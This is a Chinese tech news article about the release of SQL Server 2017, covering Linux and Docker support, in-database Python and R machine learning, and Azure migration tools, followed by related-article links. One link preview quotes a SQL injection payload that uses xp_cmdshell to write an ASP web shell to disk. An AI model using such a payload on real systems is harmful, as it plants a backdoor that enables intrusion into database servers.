SQL Server 2017 正式發布

2021-01-21 dotNET跨平臺

SQL Server 2017 跨出了重要的一步,它力求通過將 SQL Server 的強大功能引入 Linux、基於 Linux 的 Docker 容器和 Windows,使用戶可以在 SQL Server 平臺上選擇開發語言、數據類型、本地開發或雲端開發,以及作業系統開發。


微軟擁抱開源的腳步繼續前行,在美國佛羅裡達奧蘭多舉行的 Ignite 大會上,宣布正式推出 SQL Server 2017 版本,從原先只支持 Windows 作業系統的狀況,變成在 Linux、Docker 以及微軟雲端環境 Azure 上均可執行。



針對不同公有雲之間遷移伺服器,一直是令不少人頭痛的事情。過去這幾年,微軟的SQL Server在不斷進化,一改僅僅扮演資料庫管理系統的角色,成為還可以用於數據分析、機器學習和數據科學的軟體,而此次發布正是這項計劃的一部分。


SQL Server成為第一個為雲而生、也能在本地部署,且跨不同作業系統的資料庫。全自動的數據遷移服務和SQL 資料庫託管實例上線,幫助用戶輕鬆將本地SQL Server資料庫升級遷移到Azure SQL資料庫。


這不但讓開發者可以自由選擇他們喜愛的語言和環境來開發應用,帶來更高水平的生產力、性能和數據安全,同時也讓微軟的資料庫軟體有機會接觸新的公司客戶。


去年微軟首次宣布它會讓SQL Server出現在Linux上,在今年發布的正式版中,一個關鍵部分是,支持在使用Python的SQL Server裡面運行機器學習工作負載。SQL Server 2017 支持用 R 和 Python 的分析方法,來做資料庫內的機器學習,意味著用戶不必遷移資料,將省下不少時間。


SQL數據倉庫提供全新的為計算優化的性能層,能夠顯著提升雲端分析的性能。為計算優化的性能層的規模拓展能力也有了顯著的提升,能夠拓展至3萬個計算DWU(數據倉庫單位)。此項服務將於今年秋季提供預覽。


此外,微軟竭力讓客戶藉助新的資料庫遷移服務(Database Migration Service),更容易將SQL Server工作負載從本地數據中心遷移到其Azure雲。這項功能旨在提供一條基本上自動遷移到雲端的道路,停運時間為零,那樣客戶就可以在遷移的同時確保重要應用順暢運行。隨著雲端運算越來越普及,數據運算成本將進一步降低。


微軟Azure的雲計算託管服務數據中心


如果客戶想在混合配置環境下運行應用,可以使用Azure SQL資料庫託管實例。該服務有望提供微軟託管資料庫服務的諸多好處(比如自動化更新),同時與最新的企業預置版SQL Server保持100%的代碼兼容性。


針對已經擁有SQL Server許可證的公司,可使用更新後的Azure Hybrid Benefit,將許可證引入到微軟雲。如果用戶運行Azure SQL資料庫託管實例,以及Azure Data Factory的SQL Server Integration Services組件,還可享受最多只有標價50%的折扣。


在價格方面,自SQL Server 2016發布以來,該軟體的價格就一直沒有變過。微軟的四個版本:企業版、標準版、簡易版、開發版和網絡版;每一個版本在Windows上或Linux上的價格都一樣。



以下是SQL Server 2017平臺新功能的重點,將對企業的分析策略產生積極的影響。





SQL Server 2017改變了我們查看數據的方式。事實上平臺的新功能將使數據科學家和企業通過數據進行交互的時候,能夠檢索不同的算法來應用和查看已經被處理和分析的數據。


Microsoft將其AI功能與下一代SQL Server引擎集成,可以實現更智能地數據傳輸。





SQL Server 2017現在無論是一個大型Linux商店,還是只需要在Mac上使用SQL Server做資料庫引擎的開發,新一代的SQL Server都可以支持,它現在可以在Linux上完全運行、完全安裝,或運行在macOS的Docker容器上。SQL Server的跨平臺支持將為許多使用非Windows作業系統的公司提供機會,來部署資料庫引擎。





SQL Server 2017支持Python,希望利用機器學習的高級功能的企業可以使用Python和R語言。(譯者註: SQL Server用戶可以在安裝過程中下載並安裝標準的開源Python interpreter版本3.5和一些常見的Python包。Microsoft只支持解釋器3.5版。根據Microsoft,選擇該版本是想避免較新版本的Python interpreter中存在的一些兼容性問題。)


這為數據科學家提供了利用所有現有算法庫或在新系統中創建新算法庫的機會。集成是非常有價值的,這樣企業不需要支持多個工具集,以便通過數據完成其高級分析目標。





在SQL Server的新版本,企業可以直接在數據層上增加新的增強型數據保護功能。行級別安全控制,始終加密和動態數據屏蔽在SQL Server 2016中已經存在,但是許多工具進行了改進,包括企業不僅可以確保行級別,而且還可以確保列級別。





分析服務也有改進。企業通常使用這些服務來處理大量數據。 一些新功能包括新的數據連接功能,數據轉換功能,Power Query公式語言的混搭,增強了對數據中的不規則層級(Ragged Hierarchies)的支持,並改進了使用的日期/時間維度的時間關係分析。


企業客戶認識到圍繞BI的戰略和通過數據獲取洞察力需要對高級分析數據平臺進行大量投資。 獲取數據,管理它,對其應用高級預測算法並將其數據可視化工具的過程,時間太長並且複雜。


因此,類似於Microsoft在SQL Server 2017中突出顯示的整合解決方案可能是一個很好的案例,可以最終改善和簡化從數據中獲取結果的過程,而不會太複雜。

.NET社區新聞,深度好文,微信中搜索dotNET跨平臺或掃描二維碼關注

相關焦點

  • SQL Server 首次登陸 Linux 平臺
    (點擊上方公眾號,可快速關注)微軟 SQL Server 最近達成一個新的裡程碑,最新版SQL Server  2017
  • server sql 作業 使用專題及常見問題 - CSDN
    use masterGO/* --開啟sql server代理sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Agent XPs', 1; GO RECONFIGURE GO*/--定義創建作業
  • 微軟 SQL Server 2016 SP1 發布
    現在,SQL Server 2016 Service Pack 1 (SP1) 發布了,官方正在進行關鍵改進,以便為跨 SQL Server 版本的開發人員和組織提供一致的可編程性體驗。以編程方式標識 LPIM 到 SQL 服務帳戶 - DMV sys.dm_os_sys_info 中的新 sql_memory_model、sql_memory_model_desc 列,允許
  • SQL Server 2016新亮點全揭秘
    【IT168 資訊】微軟即將在6月1號發布的SQL Server 2016可以為數據提供更好的安全性,並且能夠支持混合雲,能夠查詢非結構化的數據源。  很多企業發現在他們的資料庫裡有很大一部分的數據是結構化和非結構化的交織在一起的。在這種情況下,對於數據安全的要求就越來越高。
  • R+SQL Server的大數據管理
    令人興奮的是,微軟在2016年6月正式發布的SQL Server 2016將支持R語言編程(包括大數據的算法)。據了解,這次更新是微軟對Revolution Analytics公司收購的結果,該公司此前的產品Revolution R就是一款強大的大數據分析工具。所以說SQL Server 2016代表了微軟向大數據及機器學習領域邁出的第一步。
  • SQL Server 2008 R2 SP2正式發布
    微軟昨日正式發布了SQL Server 2008 R2 SP2,包括x86、x64、IA64版本,支持簡體中文等多種語言。SQL Server 2008 R2官方下載頁面:http://www.microsoft.com/zh-cn/download/details.aspx?
  • SQL Server 2016正式版(GA)終發布
    微軟將在今年6月份發布SQL Server 2016 GA班的消息早在今年3月末就已經確認。SQL Server 2016作為微軟公司推出的關係型資料庫管理系統,具有伸縮性好、軟體集成度高等優點,SQL Server 2016使用集成的(BI)工具提供了企業級的數據管理。
  • c使用sql server專題及常見問題 - CSDN
    為php添加 sqlsrv 擴展去微軟官網 https://www.microsoft.com/en-us/download/ 搜索php ,點擊 Microsoft Drivers for PHP for SQL Server 下載最新版的 sqlsrvXX.exe( 我下載的是SQLSRV32.EXE )運行解壓, 得到一堆DLL, 選取適合自己
  • SQL Server2008中的9種數據挖掘算法淺析
    【IT168 技術文檔】  在sql server2008中提供了9種常用的數據挖掘算法,這些算法用在不同數據挖掘的應用場景下,下面我們就各個算法逐個分析討論。  1.決策樹算法  決策樹,又稱判定樹,是一種類似二叉樹或多叉樹的樹結構。
  • 這個函數讓SQL效率提升99%
    window_aggregate_function_before2008本文項目地址:https://github.com/firewang/sql50參考網址:https://docs.microsoft.com/zh-cn/sql/t-sql/queries/select-over-clause-transact-sql?
  • MyBatis dynamic SQL 1.1.4 發布,生成動態 SQL 的框架
    MyBatis dynamic SQL 1.1.4 已發布,MyBatis Dynamic SQL 是生成動態 SQL 語句的框架,可把它看作是一個類型安全的 SQL 模板庫,它還支持 MyBatis3
  • 最詳細的SQL注入相關的命令整理
    keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--?
  • 三方法解決SQL Server與雲端資料庫連接
    伺服器名稱的格式是:{your server name.database.windows.net},這裡為了和伺服器名稱相區別,使用了your server name來表示,在實際應用中,your server name是已經創建的伺服器名稱,這個名稱可以從你的SQL Azure門戶的伺服器管理頁面獲得。
  • FreeRADIUS 2.2.0 發布,遠端接入驗證
    2012-09-10發布2.2.0 上個版本還是2011-09-30的2.1.12 改進:Feature improvements100% configuration file compatible with 2.1.x.
  • SQL Server 管理常用的SQL和T-SQL
    把一臺伺服器上的資料庫用戶登錄信息備份出來可以用add_login_to_aserver腳本 查看某資料庫下,對象級用戶權限 sp_helprotect 7.
  • 對SQL Server跨文件組的表進行分區
    右鍵單擊 SQLQuery1.sql,然後單擊重命名。  3. 鍵入 Files and Filegroups.sql,然後按 Enter。  4. 鍵入下面的代碼(每個 FILENAME 參數都應單佔一行)。
  • SQL SERVER 2016圖文安裝詳解,附處理安裝中遇到的問題
    3.在出現的SQL server安裝中心的界面當中,點擊「全新SQL SERVER獨立安裝或向現有安裝添加功能」。4.出現Microsoft更新的選擇頁面,這裡不需要點擊選擇「使用Microsoft update檢查更新」5.輸入SQL SERVER 2016的產品秘鑰,點擊」下一步「繼續。
  • SQL Server跨伺服器操作資料庫?其實很簡單! - Excel教案
    如圖3:圖3 輸入對方資料庫帳號密碼點擊確定後即創建成功,如下圖4,可以看到創建好的連結伺服器圖4 創建好的DBLINK創建完成後會自動生成相關代碼,密碼用#隱藏了:EXEC master.dbo.sp_addlinkedserver @server = N'192.168.110.189',@srvproduct=N'SQL Server
  • 詳解SQL Server 2008滑動窗口的管理
    1.在不影響當前OrdersRange 分區表的前提下,為新數據做好準備  (1)在Solution Explorer 窗口,雙擊打開Script4 – RollingRangeScenario.sql.
  • 資料庫大戰,AWS又將目標瞄準了微軟SQL Server
    開源的Babelfish將比標準資料庫遷移服務走的更遠,Jassy說,它是一個轉換工具,所做的就是為SQL server專用的 SQL 語言(T-SQL)和通信協議提供轉換,任何人都可以通過它輕鬆切換到Amazon Aurora PostgreSQL。